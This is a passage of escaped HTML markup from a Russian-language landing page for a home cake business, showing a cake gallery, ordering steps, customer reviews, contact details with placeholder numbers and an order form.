ингредиенты</div>\n                        </div>\n                    </div>\n                    <div class=\"about-feature\">\n                        <div class=\"af-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <circle cx=\"8\" cy=\"8\" r=\"7\" />\n                                <path d=\"M8 5v3l2 2\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"af-label\">Точно в срок</div>\n                            <div class=\"af-desc\">Всегда выполняю заказы вовремя</div>\n                        </div>\n                    </div>\n                    <div class=\"about-feature\">\n                        <div class=\"af-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M1 6l7-5 7 5v8a1 1 0 01-1 1H2a1 1 0 01-1-1V6z\" />\n                                <path d=\"M6 15V9h4v6\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"af-label\">г. Тандем</div>\n                            <div class=\"af-desc\">Самовывоз и доставка по городу</div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── GALLERY ── -->\n    <section id=\"gallery\">\n        <div class=\"gallery-header\">\n            <div>\n                <span class=\"section-label reveal\">Портфолио</span>\n                <h2 class=\"section-title reveal reveal-delay-1\">Мои <em>сладкие</em> работы</h2>\n                <div class=\"divider-rose reveal reveal-delay-1\"></div>\n            </div>\n            <div class=\"gallery-filter reveal reveal-delay-2\">\n                <button class=\"filter-btn active\" data-filter=\"all\">Все работы</button>\n                <button class=\"filter-btn\" data-filter=\"author\">Авторские</button>\n                <button class=\"filter-btn\" data-filter=\"berry\">Ягодные</button>\n                <button class=\"filter-btn\" data-filter=\"kids\">Детские</button>\n                <button class=\"filter-btn\" data-filter=\"wedding\">Свадебные</button>\n            </div>\n        </div>\n\n        <div class=\"gallery-grid\">\n            <div class=\"gallery-item tall reveal\" data-category=\"author\" onclick=\"openLightbox(0)\">\n                <img class=\"gallery-img\" src=\"1.png\" alt=\"Банановый drip-торт\" loading=\"lazy\" />\n                <div class=\"gallery-item-badge\">Авторский</div>\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Банановый drip-торт</div>\n                    <div class=\"gallery-caption-sub\">Розовые подтёки · Кремовые завитки</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-1\" data-category=\"author\" onclick=\"openLightbox(1)\">\n                <img class=\"gallery-img\" src=\"2.png\" alt=\"Торт с малиной и сухоцветами\" loading=\"lazy\" />\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Торт «Прованс»</div>\n                    <div class=\"gallery-caption-sub\">Малина · Сухоцветы · Розмарин</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-2\" data-category=\"author\" onclick=\"openLightbox(2)\">\n                <img class=\"gallery-img\" src=\"3.jpg\" alt=\"Шоколадный торт с осколками\" loading=\"lazy\" />\n                <div class=\"gallery-item-badge\">Новинка</div>\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Торт «Звёздная ночь»</div>\n                    <div class=\"gallery-caption-sub\">Шоколадные осколки · Серебристый жемчуг</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-1\" data-category=\"berry\" onclick=\"openLightbox(3)\">\n                <img class=\"gallery-img\" src=\"4.png\" alt=\"Малиновый торт\" loading=\"lazy\" />\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Малиновый торт</div>\n                    <div class=\"gallery-caption-sub\">Свежая малина · Белый крем</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-2\" data-category=\"author\" onclick=\"openLightbox(4)\">\n                <img class=\"gallery-img\" src=\"5.png\" alt=\"Фисташковый торт\" loading=\"lazy\" />\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Фисташковый «Изумруд»</div>\n                    <div class=\"gallery-caption-sub\">Фисташковый крем · Зелёный декор</div>\n                </div>\n            </div>\n            <div class=\"gallery-item tall reveal reveal-delay-1\" data-category=\"berry\" onclick=\"openLightbox(5)\">\n                <img class=\"gallery-img\" src=\"6.png\" alt=\"Торт с ягодами\" loading=\"lazy\" />\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Ягодный торт</div>\n                    <div class=\"gallery-caption-sub\">Клубника · Черника · Голубика</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-2\" data-category=\"kids\" onclick=\"openLightbox(6)\">\n                <img class=\"gallery-img\" src=\"7.png\" alt=\"Детский торт с аниме\" loading=\"lazy\" />\n                <div class=\"gallery-item-badge\">Детский</div>\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Торт «Аниме-принцесса»</div>\n                    <div class=\"gallery-caption-sub\">Сахарная фигурка · Макаронс · Леденцы</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-3\" data-category=\"author\" onclick=\"openLightbox(7)\">\n                <img class=\"gallery-img\" src=\"8.png\" alt=\"Лавандовый торт\" loading=\"lazy\" />\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">Лавандовый торт</div>\n                    <div class=\"gallery-caption-sub\">Венок из сухоцветов · Нежная лаванда</div>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal reveal-delay-4\" data-category=\"wedding\" onclick=\"openLightbox(8)\">\n                <img class=\"gallery-img\" src=\"9.png\" alt=\"Свадебный двухъярусный торт\" loading=\"lazy\" />\n                <div class=\"gallery-item-badge\">Свадебный</div>\n                <div class=\"gallery-caption\">\n                    <div class=\"gallery-caption-title\">«Ромашковое поле»</div>\n                    <div class=\"gallery-caption-sub\">2 яруса · Ромашки · Капкейки</div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── LIGHTBOX ── -->\n    <div id=\"lightbox\">\n        <button id=\"lb-close\" onclick=\"closeLightbox()\">\n            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\">\n                <path d=\"M12 4L4 12M4 4l8 8\" />\n            </svg>\n        </button>\n        <button id=\"lb-prev\" onclick=\"lbNav(-1)\">\n            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                <path d=\"M10 12L6 8l4-4\" />\n            </svg>\n        </button>\n        <img id=\"lb-img\" src=\"\" alt=\"Торт\" />\n        <button id=\"lb-next\" onclick=\"lbNav(1)\">\n            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                <path d=\"M6 4l4 4-4 4\" />\n            </svg>\n        </button>\n    </div>\n\n    <!-- ── HOW TO ORDER ── -->\n    <section id=\"how\">\n        <div class=\"how-header\">\n            <span class=\"section-label reveal\">Процесс</span>\n            <h2 class=\"section-title reveal reveal-delay-1\">Как <em>заказать</em> свой торт?</h2>\n            <div class=\"divider-rose reveal reveal-delay-1\"></div>\n        </div>\n        <div class=\"how-steps\">\n            <div class=\"how-step reveal\">\n                <div class=\"how-step-visual\">\n                    <div class=\"step-icon-circle\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M21 15a2 2 0 01-2 2H7l-4 4V5a2 2 0 012-2h14a2 2 0 012 2z\" />\n                        </svg>\n                    </div>\n                    <div class=\"step-num-badge\">1</div>\n                </div>\n                <div class=\"how-step-title\">Оставьте заявку</div>\n                <div class=\"how-step-desc\">Напишите мне в мессенджер или заполните форму на сайте — расскажите о своей идее</div>\n            </div>\n            <div class=\"how-step reveal reveal-delay-1\">\n                <div class=\"how-step-visual\">\n                    <div class=\"step-icon-circle\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <circle cx=\"12\" cy=\"12\" r=\"10\" />\n                            <path d=\"M12 6v6l4 2\" />\n                        </svg>\n                    </div>\n                    <div class=\"step-num-badge\">2</div>\n                </div>\n                <div class=\"how-step-title\">Обсудим детали</div>\n                <div class=\"how-step-desc\">Обговорим дизайн, вкус, размер и дату — я подберу идеальный вариант именно для вас</div>\n            </div>\n            <div class=\"how-step reveal reveal-delay-2\">\n                <div class=\"how-step-visual\">\n                    <div class=\"step-icon-circle\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M20.84 4.61a5.5 5.5 0 00-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 00-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 000-7.78z\" />\n                        </svg>\n                    </div>\n                    <div class=\"step-num-badge\">3</div>\n                </div>\n                <div class=\"how-step-title\">Я приступаю к работе</div>\n                <div class=\"how-step-desc\">С любовью создаю ваш торт из свежих натуральных ингредиентов по вашим пожеланиям</div>\n            </div>\n            <div class=\"how-step reveal reveal-delay-3\">\n                <div class=\"how-step-visual\">\n                    <div class=\"step-icon-circle\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.6\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M20 12V22H4V12\" />\n                            <path d=\"M22 7H2v5h20V7z\" />\n                            <path d=\"M12 22V7\" />\n                            <path d=\"M12 7H7.5a2.5 2.5 0 010-5C11 2 12 7 12 7z\" />\n                            <path d=\"M12 7h4.5a2.5 2.5 0 000-5C13 2 12 7 12 7z\" />\n                        </svg>\n                    </div>\n                    <div class=\"step-num-badge\">4</div>\n                </div>\n                <div class=\"how-step-title\">Получите шедевр!</div>\n                <div class=\"how-step-desc\">Самовывоз или доставка по г. Тандем — ваш идеальный торт готов украсить праздник</div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── REVIEWS ── -->\n    <section id=\"reviews\">\n        <div class=\"reviews-header\">\n            <span class=\"section-label reveal\">Отзывы</span>\n            <h2 class=\"section-title reveal reveal-delay-1\">Что говорят <em>клиенты</em></h2>\n            <div class=\"divider-rose reveal reveal-delay-1\"></div>\n        </div>\n        <div class=\"reviews-track-wrap\">\n            <div class=\"reviews-grid\">\n\n                <div class=\"review-card reveal\">\n                    <div class=\"review-stars\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                    </div>\n                    <p class=\"review-text\">\n                        Заказывала свадебный торт — Виктория сделала настоящий шедевр! Он был не только красивым, но и невероятно вкусным. Все гости были в восторге, просили рецепт. Обязательно закажу ещё!\n                    </p>\n                    <div class=\"review-author\">\n                        <div class=\"review-avatar\">А</div>\n                        <div>\n                            <div class=\"review-name\">Анастасия К.</div>\n                            <div class=\"review-date\">Свадебный торт · Октябрь 2024</div>\n                        </div>\n                    </div>\n                </div>\n\n                <div class=\"review-card reveal reveal-delay-1\">\n                    <div class=\"review-stars\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                    </div>\n                    <p class=\"review-text\">\n                        Брала детский торт для сына на день рождения. Виктория воплотила все наши идеи — фигурки из мастики вышли просто волшебными! Ребёнок был счастлив, а торт вкусный до безобразия. 10/10!\n                    </p>\n                    <div class=\"review-author\">\n                        <div class=\"review-avatar\">М</div>\n                        <div>\n                            <div class=\"review-name\">Мария Д.</div>\n                            <div class=\"review-date\">Детский торт · Ноябрь 2024</div>\n                        </div>\n                    </div>\n                </div>\n\n                <div class=\"review-card reveal reveal-delay-2\">\n                    <div class=\"review-stars\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                    </div>\n                    <p class=\"review-text\">\n                        Уже третий раз заказываю муссовые торты у Вики. Каждый раз — новый дизайн, новая вкусовая комбинация. Зеркальная глазурь выходит просто идеальной! Рекомендую всем без исключения.\n                    </p>\n                    <div class=\"review-author\">\n                        <div class=\"review-avatar\">Е</div>\n                        <div>\n                            <div class=\"review-name\">Елена П.</div>\n                            <div class=\"review-date\">Муссовый торт · Декабрь 2024</div>\n                        </div>\n                    </div>\n                </div>\n\n                <div class=\"review-card reveal\">\n                    <div class=\"review-stars\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                    </div>\n                    <p class=\"review-text\">\n                        Заказал корпоративный торт на юбилей компании. Логотип из сахарной мастики выглядел безупречно. Коллеги были удивлены и восхищены. Спасибо за профессионализм!\n                    </p>\n                    <div class=\"review-author\">\n                        <div class=\"review-avatar\">С</div>\n                        <div>\n                            <div class=\"review-name\">Сергей В.</div>\n                            <div class=\"review-date\">Корпоративный торт · Январь 2025</div>\n                        </div>\n                    </div>\n                </div>\n\n                <div class=\"review-card reveal reveal-delay-1\">\n                    <div class=\"review-stars\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                    </div>\n                    <p class=\"review-text\">\n                        Торт на годовщину свадьбы получился невероятным — нежный, красивый и очень вкусный! Роза из крема была как настоящая. Муж был в восторге. Виктория — настоящий художник!\n                    </p>\n                    <div class=\"review-author\">\n                        <div class=\"review-avatar\">О</div>\n                        <div>\n                            <div class=\"review-name\">Ольга Н.</div>\n                            <div class=\"review-date\">Юбилейный торт · Февраль 2025</div>\n                        </div>\n                    </div>\n                </div>\n\n                <div class=\"review-card reveal reveal-delay-2\">\n                    <div class=\"review-stars\">\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                        <svg viewBox=\"0 0 16 16\" fill=\"currentColor\">\n                            <path d=\"M8 1l1.8 3.6L14 5.5l-3 2.9.7 4.1L8 10.4l-3.7 2.1.7-4.1L2 5.5l4.2-.9z\" />\n                        </svg>\n                    </div>\n                    <p class=\"review-text\">\n                        Кэнди-бар от Виктории стал украшением нашего праздника! Всё выдержано в единой цветовой гамме, вкусно, красиво и оригинально. Гости всё спрашивали, кто делал. Буду рекомендовать!\n                    </p>\n                    <div class=\"review-author\">\n                        <div class=\"review-avatar\">Т</div>\n                        <div>\n                            <div class=\"review-name\">Татьяна Л.</div>\n                            <div class=\"review-date\">Кэнди-бар · Март 2025</div>\n                        </div>\n                    </div>\n                </div>\n\n            </div>\n        </div>\n    </section>\n\n    <!-- ── CTA BAND ── -->\n    <section id=\"cta-band\">\n        <div class=\"script-title\">Готовы создать что-то особенное?</div>\n        <p>Свяжитесь со мной сегодня — обсудим вашу идею и создадим торт вашей мечты. Работаю в г. Тандем.</p>\n        <a class=\"btn-white\" href=\"#contact\">\n            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                <path d=\"M13 11.5c0 .3-.07.6-.2.87a1.5 1.5 0 01-.55.63c-.37.23-.77.35-1.25.35-.66 0-1.37-.17-2.1-.5a11.2 11.2 0 01-2.1-1.37 11 11 0 01-1.36-2.08 5.33 5.33 0 01-.5-2.08c0-.46.1-.9.32-1.26a1.5 1.5 0 011.32-.78c.16 0 .32.03.47.1.15.07.29.17.4.32l1.35 1.9c.1.15.18.28.23.42a.9.9 0 01.08.36c0 .14-.04.28-.11.42a1.8 1.8 0 01-.3.4l-.4.43a.28.28 0 00-.08.2c0 .04 0 .08.02.12.05.1.13.23.25.4.13.16.26.32.4.48.17.17.34.33.53.48.17.14.33.27.48.37a.3.3 0 00.34-.02l.4-.4c.14-.13.28-.24.41-.3a.9.9 0 01.42-.11.96.96 0 01.36.07c.13.05.27.13.41.24l1.93 1.37c.15.1.25.24.32.4.06.14.1.3.1.49z\" />\n            </svg>\n            Позвонить: +7 (XXX) XXX-XX-XX\n        </a>\n    </section>\n\n    <!-- ── CONTACT ── -->\n    <section id=\"contact\">\n        <div class=\"contact-grid\">\n            <div>\n                <span class=\"section-label reveal\">Контакты</span>\n                <h2 class=\"section-title reveal reveal-delay-1\">Давайте <em>создадим</em><br>ваш торт мечты</h2>\n                <div class=\"divider-rose reveal reveal-delay-1\"></div>\n                <div class=\"contact-info-items\">\n                    <div class=\"contact-info-item reveal reveal-delay-2\">\n                        <div class=\"cii-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M13 11.5c0 .3-.07.6-.2.87a1.5 1.5 0 01-.55.63c-.37.23-.77.35-1.25.35-.66 0-1.37-.17-2.1-.5a11.2 11.2 0 01-2.1-1.37 11 11 0 01-1.36-2.08 5.33 5.33 0 01-.5-2.08c0-.46.1-.9.32-1.26a1.5 1.5 0 011.32-.78c.16 0 .32.03.47.1.15.07.29.17.4.32l1.35 1.9c.1.15.18.28.23.42a.9.9 0 01.08.36c0 .14-.04.28-.11.42a1.8 1.8 0 01-.3.4l-.4.43a.28.28 0 00-.08.2c0 .04 0 .08.02.12.05.1.13.23.25.4.13.16.26.32.4.48.17.17.34.33.53.48.17.14.33.27.48.37a.3.3 0 00.34-.02l.4-.4c.14-.13.28-.24.41-.3a.9.9 0 01.42-.11.96.96 0 01.36.07c.13.05.27.13.41.24l1.93 1.37c.15.1.25.24.32.4.06.14.1.3.1.49z\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"cii-label\">Телефон / WhatsApp</div>\n                            <div class=\"cii-value\"><a href=\"tel:+7XXXXXXXXXX\">+7 (XXX) XXX-XX-XX</a></div>\n                        </div>\n                    </div>\n                    <div class=\"contact-info-item reveal reveal-delay-2\">\n                        <div class=\"cii-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M14 2H2l5.5 6.5V13l1 1 1-1V8.5L14 2z\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"cii-label\">Telegram / Instagram</div>\n                            <div class=\"cii-value\" style=\"color:var(--rose);\">@sladkiy_moment</div>\n                        </div>\n                    </div>\n                    <div class=\"contact-info-item reveal reveal-delay-3\">\n                        <div class=\"cii-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M8 1.5a5.5 5.5 0 100 11 5.5 5.5 0 000-11z\" />\n                                <path d=\"M8 4v4l2.5 2.5\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"cii-label\">Время работы</div>\n                            <div class=\"cii-value\">Пн – Вс: 9:00 – 21:00</div>\n                        </div>\n                    </div>\n                    <div class=\"contact-info-item reveal reveal-delay-3\">\n                        <div class=\"cii-icon\">\n                            <svg viewBox=\"0 0 16 16\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                                <path d=\"M8 1a5 5 0 00-5 5c0 3.5 5 9 5 9s5-5.5 5-9a5 5 0 00-5-5z\" />\n                                <circle cx=\"8\" cy=\"6\" r=\"1.5\" />\n                            </svg>\n                        </div>\n                        <div>\n                            <div class=\"cii-label\">Локация</div>\n                            <div class=\"cii-value\">г. Тандем — самовывоз и доставка</div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n            <div class=\"reveal reveal-delay-2\">\n                <form class=\"order-form\" onsubmit=\"handleForm(event)\">\n                    <div class=\"order-form-title\">Оставить заявку</div>\n                    <div class=\"order-form-sub\">Заполните форму и я свяжусь с вами в течение 1 часа</div>\n                    <div class=\"form-row\">\n                        <div class=\"form-group\">\n                            <label>Ваше имя</label>\n                            <input type=\"text\" placeholder=\"Мария\" required />\n                        </div>\n                        <div class=\"form-group\">\n                            <label>Телефон</label>\n                            <input type=\"tel\" placeholder=\"+7 (XXX) XXX-XX-XX\" required />\n                        </div>\n                    </div>\n                    <div class=\"form-group\">\n                        <label>Дата праздника</label>\n                        <input type=\"date\" required />\n                    </div>\n                    <div class=\"form-group\">\n                        <label>Тип торта</label>\n                        <select>\n                            <option value=\"\">Выберите тип...</option>\n                            <option>Свадебный торт</option>\n                            <option>Детский торт</option>\n                            <option>Муссовый торт</option>\n                            <option>Юбилейный торт</option>\n                            <option>Корпоративный торт</option>\n                            <option>Кэнди-бар</option>\n                        </select>\n                    </div>\n                    <div class=\"form-group\">\n                        <label>Ваши пожелания</label>\n                        <textarea placeholder=\"Расскажите о вашей идее, тематике, любимых вкусах...\"></textarea>\n                    </div>\n                    <button type=\"submit\" class=\"form-submit\">Отправить заявку 🎂</button>\n                </form>\n            </div>\n        </div>\n    </section>\n\n    <!-- ── FOOTER ── -->\n    <footer>\n        <div class=\"footer-top\">\n            <div>\n                <div class=\"footer-logo\">Сладкий момент</div>\n                <p class=\"footer-desc\">Авторские торты ручной работы в г. Тандем. Создаю сладкие моменты для ваших самых важных праздников с любовью и душой.</p>\n                <div class=\"footer-social\">\n                    <a class=\"social-btn\" href=\"#\" aria-label=\"WhatsApp\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"currentColor\">\n                            <path d=\"M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.271-.099-.467-.148-.663.15-.196.297-.763.966-.936 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.663-1.599-.908-2.19-.24-.579-.487-.5-.663-.51-.173-.01-.371-.012-.57-.012s-.52.074-.792.372c-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347z\" />\n                            <path d=\"M12 0C5.373 0 0 5.373 0 12c0 2.123.554 4.117 1.528 5.848L0 24l6.335-1.509A11.95 11.95 0 0012 24c6.627 0 12-5.373 12-12S18.627 0 12 0zm0 21.818a9.81 9.81 0 01-5.017-1.375l-.36-.214-3.726.887.917-3.635-.234-.374A9.781 9.781 0 012.182 12C2.182 6.583 6.583 2.182 12 2.182S21.818 6.583 21.818 12 17.417 21.818 12 21.818z\" />\n                        </svg>\n                    </a>\n                    <a class=\"social-btn\" href=\"#\" aria-label=\"Instagram\">\n                        <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.8\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <rect x=\"2\" y=\"2\" width=\"20\" height=\"20\" rx=\"5\" />\n                            <circle cx=\"12\" cy=\"12\" r=\"4\" />\n                            <circle cx=\"17.5\" cy=\"6.5\" r=\"0.5\" fill=\"currentColor\" />\n                        </svg>\n                    </a>\n                    <a 